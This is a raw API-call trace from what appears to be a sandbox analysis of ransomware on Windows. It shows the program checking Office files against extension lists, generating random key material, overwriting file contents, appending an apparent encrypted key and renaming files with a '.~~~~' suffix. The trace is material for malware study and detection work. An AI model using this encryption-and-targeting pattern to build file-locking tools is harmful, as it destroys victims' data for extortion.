	[0141.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".EDB") returned 0x0
	[0141.199] lstrlenW (lpString=".DACPAC") returned 7
	[0141.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.199] lstrlenW (lpString=".VHD") returned 4
	[0141.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".VHD") returned 0x0
	[0141.199] lstrlenW (lpString=".DBV") returned 4
	[0141.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".DBV") returned 0x0
	[0141.199] lstrlenW (lpString=".dacpac") returned 7
	[0141.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".dacpac") returned 0x0
	[0141.199] lstrlenW (lpString=".sdf") returned 4
	[0141.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".sdf") returned 0x0
	[0141.199] lstrlenW (lpString=".accdb") returned 6
	[0141.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".accdb") returned 0x0
	[0141.199] lstrlenW (lpString=".DBX") returned 4
	[0141.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".DBX") returned 0x0
	[0141.199] lstrlenW (lpString=".MDT") returned 4
	[0141.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".MDT") returned 0x0
	[0141.199] lstrlenW (lpString=".SQB") returned 4
	[0141.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".SQB") returned 0x0
	[0141.200] lstrlenW (lpString=".vhd") returned 4
	[0141.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".vhd") returned 0x0
	[0141.200] lstrlenW (lpString=".bac") returned 4
	[0141.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".bac") returned 0x0
	[0141.200] lstrlenW (lpString=".mdf") returned 4
	[0141.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".mdf") returned 0x0
	[0141.200] lstrlenW (lpString=".BAK") returned 4
	[0141.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".BAK") returned 0x0
	[0141.200] lstrlenW (lpString=".BAC") returned 4
	[0141.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".BAC") returned 0x0
	[0141.200] lstrlenW (lpString=".dbs") returned 4
	[0141.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".dbs") returned 0x0
	[0141.200] lstrlenW (lpString=".vhdx") returned 5
	[0141.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".vhdx") returned 0x0
	[0141.200] lstrlenW (lpString=".NDF") returned 4
	[0141.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".NDF") returned 0x0
	[0141.200] lstrlenW (lpString=".dat") returned 4
	[0141.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".dat") returned 0x0
	[0141.200] lstrlenW (lpString=".DBS") returned 4
	[0141.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".DBS") returned 0x0
	[0141.200] lstrlenW (lpString=".CKP") returned 4
	[0141.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".CKP") returned 0x0
	[0141.200] lstrlenW (lpString=".edb") returned 4
	[0141.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".edb") returned 0x0
	[0141.200] lstrlenW (lpString=".PST") returned 4
	[0141.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".PST") returned 0x0
	[0141.200] lstrlenW (lpString=".dbf") returned 4
	[0141.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".dbf") returned 0x0
	[0141.201] lstrlenW (lpString=".SQL") returned 4
	[0141.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".SQL") returned 0x0
	[0141.201] lstrlenW (lpString=".pst") returned 4
	[0141.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".pst") returned 0x0
	[0141.201] lstrlenW (lpString=".dbv") returned 4
	[0141.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".dbv") returned 0x0
	[0141.201] lstrlenW (lpString=".SDF") returned 4
	[0141.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".SDF") returned 0x0
	[0141.201] lstrlenW (lpString=".dtxs") returned 5
	[0141.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".dtxs") returned 0x0
	[0141.201] lstrlenW (lpString=".db3") returned 4
	[0141.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".db3") returned 0x0
	[0141.201] lstrlenW (lpString=".OST") returned 4
	[0141.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".OST") returned 0x0
	[0141.201] lstrlenW (lpString=".dbx") returned 4
	[0141.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".dbx") returned 0x0
	[0141.201] lstrlenW (lpString=".DB3") returned 4
	[0141.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".DB3") returned 0x0
	[0141.201] lstrlenW (lpString=".DAT") returned 4
	[0141.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".DAT") returned 0x0
	[0141.201] lstrlenW (lpString=".VHDX") returned 5
	[0141.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".VHDX") returned 0x0
	[0141.201] lstrlenW (lpString=".ndf") returned 4
	[0141.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".ndf") returned 0x0
	[0141.201] lstrlenW (lpString=".DB") returned 3
	[0141.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".DB") returned 0x0
	[0141.201] lstrlenW (lpString=".sql") returned 4
	[0141.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".sql") returned 0x0
	[0141.201] lstrlenW (lpString=".MYD") returned 4
	[0141.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".MYD") returned 0x0
	[0141.201] lstrlenW (lpString=".DBT") returned 4
	[0141.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".DBT") returned 0x0
	[0141.202] lstrlenW (lpString=".ACCDB") returned 6
	[0141.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.202] lstrlenW (lpString=".fdb") returned 4
	[0141.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".fdb") returned 0x0
	[0141.202] lstrlenW (lpString=".bak") returned 4
	[0141.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".bak") returned 0x0
	[0141.202] lstrlenW (lpString=".myd") returned 4
	[0141.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".myd") returned 0x0
	[0141.202] lstrlenW (lpString=".DTXS") returned 5
	[0141.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".DTXS") returned 0x0
	[0141.202] lstrlenW (lpString=".ckp") returned 4
	[0141.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".ckp") returned 0x0
	[0141.202] lstrlenW (lpString=".dbt") returned 4
	[0141.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".dbt") returned 0x0
	[0141.202] lstrlenW (lpString=".db") returned 3
	[0141.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".db") returned 0x0
	[0141.202] lstrlenW (lpString=".TXT") returned 4
	[0141.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".TXT") returned 0x0
	[0141.202] lstrlenW (lpString=".MDF") returned 4
	[0141.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".MDF") returned 0x0
	[0141.202] lstrlenW (lpString=".bdb") returned 4
	[0141.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".bdb") returned 0x0
	[0141.202] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0141.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0141.202] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395498) returned 1
	[0141.203] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0141.204] CryptReleaseContext (hProv=0x395498, dwFlags=0x0) returned 1
	[0141.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0141.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0141.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0141.204] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26119425214) returned 1
	[0141.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbd92f970, dwHighDateTime=0x1d60e1e)) 
	[0141.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0141.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0141.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0141.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2550
	[0141.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2550 | out: hHeap=0x300000) returned 1
	[0141.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f50d8
	[0141.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0141.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f50d8 | out: hHeap=0x300000) returned 1
	[0141.205] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0141.205] GetLastError () returned 0x0
	[0141.206] GetLastError () returned 0x0
	[0141.206] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0141.206] GetLastError () returned 0x0
	[0141.206] GetLastError () returned 0x0
	[0141.206] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x1f8fec0*=0x4647, lpOverlapped=0x0) returned 1
	[0141.208] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffb9b9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.208] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x4647, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x4647, lpOverlapped=0x0) returned 1
	[0141.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0141.209] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.209] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.209] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.209] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.209] CloseHandle (hObject=0x138) returned 1
	[0141.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f50d8
	[0141.209] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir3f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir3f.gif.~~~~")) returned 1
	[0141.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f50d8 | out: hHeap=0x300000) returned 1
	[0141.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0141.212] GetLastError () returned 0x0
	[0141.212] RtlWakeConditionVariable () returned 0x0
	[0141.212] GetCurrentThreadId () returned 0xaf0
	[0141.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".scr") returned 0x0
	[0141.212] lstrlenW (lpString=".cmd") returned 4
	[0141.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".cmd") returned 0x0
	[0141.212] lstrlenW (lpString=".dll") returned 4
	[0141.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".dll") returned 0x0
	[0141.212] lstrlenW (lpString=".bat") returned 4
	[0141.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".bat") returned 0x0
	[0141.212] lstrlenW (lpString=".cpl") returned 4
	[0141.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".cpl") returned 0x0
	[0141.212] lstrlenW (lpString=".sys") returned 4
	[0141.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".sys") returned 0x0
	[0141.212] lstrlenW (lpString=".msc") returned 4
	[0141.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".msc") returned 0x0
	[0141.213] lstrlenW (lpString=".com") returned 4
	[0141.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".com") returned 0x0
	[0141.213] lstrlenW (lpString=".lnk") returned 4
	[0141.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".lnk") returned 0x0
	[0141.213] lstrlenW (lpString=".msp") returned 4
	[0141.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".msp") returned 0x0
	[0141.213] lstrlenW (lpString=".pif") returned 4
	[0141.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".pif") returned 0x0
	[0141.213] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.213] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir40f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0141.215] lstrlenW (lpString=".sqb") returned 4
	[0141.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".sqb") returned 0x0
	[0141.215] lstrlenW (lpString=".ost") returned 4
	[0141.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".ost") returned 0x0
	[0141.215] lstrlenW (lpString=".txt") returned 4
	[0141.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".txt") returned 0x0
	[0141.215] lstrlenW (lpString=".mdt") returned 4
	[0141.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".mdt") returned 0x0
	[0141.215] lstrlenW (lpString=".BDB") returned 4
	[0141.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".BDB") returned 0x0
	[0141.215] lstrlenW (lpString=".eql") returned 4
	[0141.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".eql") returned 0x0
	[0141.215] lstrlenW (lpString=".DBF") returned 4
	[0141.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".DBF") returned 0x0
	[0141.215] lstrlenW (lpString=".EQL") returned 4
	[0141.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".EQL") returned 0x0
	[0141.215] lstrlenW (lpString=".FDB") returned 4
	[0141.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".FDB") returned 0x0
	[0141.215] lstrlenW (lpString=".EDB") returned 4
	[0141.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".EDB") returned 0x0
	[0141.215] lstrlenW (lpString=".DACPAC") returned 7
	[0141.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.215] lstrlenW (lpString=".VHD") returned 4
	[0141.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".VHD") returned 0x0
	[0141.215] lstrlenW (lpString=".DBV") returned 4
	[0141.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".DBV") returned 0x0
	[0141.216] lstrlenW (lpString=".dacpac") returned 7
	[0141.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".dacpac") returned 0x0
	[0141.216] lstrlenW (lpString=".sdf") returned 4
	[0141.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".sdf") returned 0x0
	[0141.216] lstrlenW (lpString=".accdb") returned 6
	[0141.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".accdb") returned 0x0
	[0141.216] lstrlenW (lpString=".DBX") returned 4
	[0141.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".DBX") returned 0x0
	[0141.216] lstrlenW (lpString=".MDT") returned 4
	[0141.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".MDT") returned 0x0
	[0141.216] lstrlenW (lpString=".SQB") returned 4
	[0141.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".SQB") returned 0x0
	[0141.216] lstrlenW (lpString=".vhd") returned 4
	[0141.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".vhd") returned 0x0
	[0141.216] lstrlenW (lpString=".bac") returned 4
	[0141.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".bac") returned 0x0
	[0141.216] lstrlenW (lpString=".mdf") returned 4
	[0141.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".mdf") returned 0x0
	[0141.216] lstrlenW (lpString=".BAK") returned 4
	[0141.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".BAK") returned 0x0
	[0141.216] lstrlenW (lpString=".BAC") returned 4
	[0141.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".BAC") returned 0x0
	[0141.216] lstrlenW (lpString=".dbs") returned 4
	[0141.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".dbs") returned 0x0
	[0141.217] lstrlenW (lpString=".vhdx") returned 5
	[0141.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".vhdx") returned 0x0
	[0141.217] lstrlenW (lpString=".NDF") returned 4
	[0141.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".NDF") returned 0x0
	[0141.217] lstrlenW (lpString=".dat") returned 4
	[0141.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".dat") returned 0x0
	[0141.217] lstrlenW (lpString=".DBS") returned 4
	[0141.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF", lpSrch=".DBS") returned 0x0
	[0141.218] lstrlenW (lpString=".CKP") returned 4
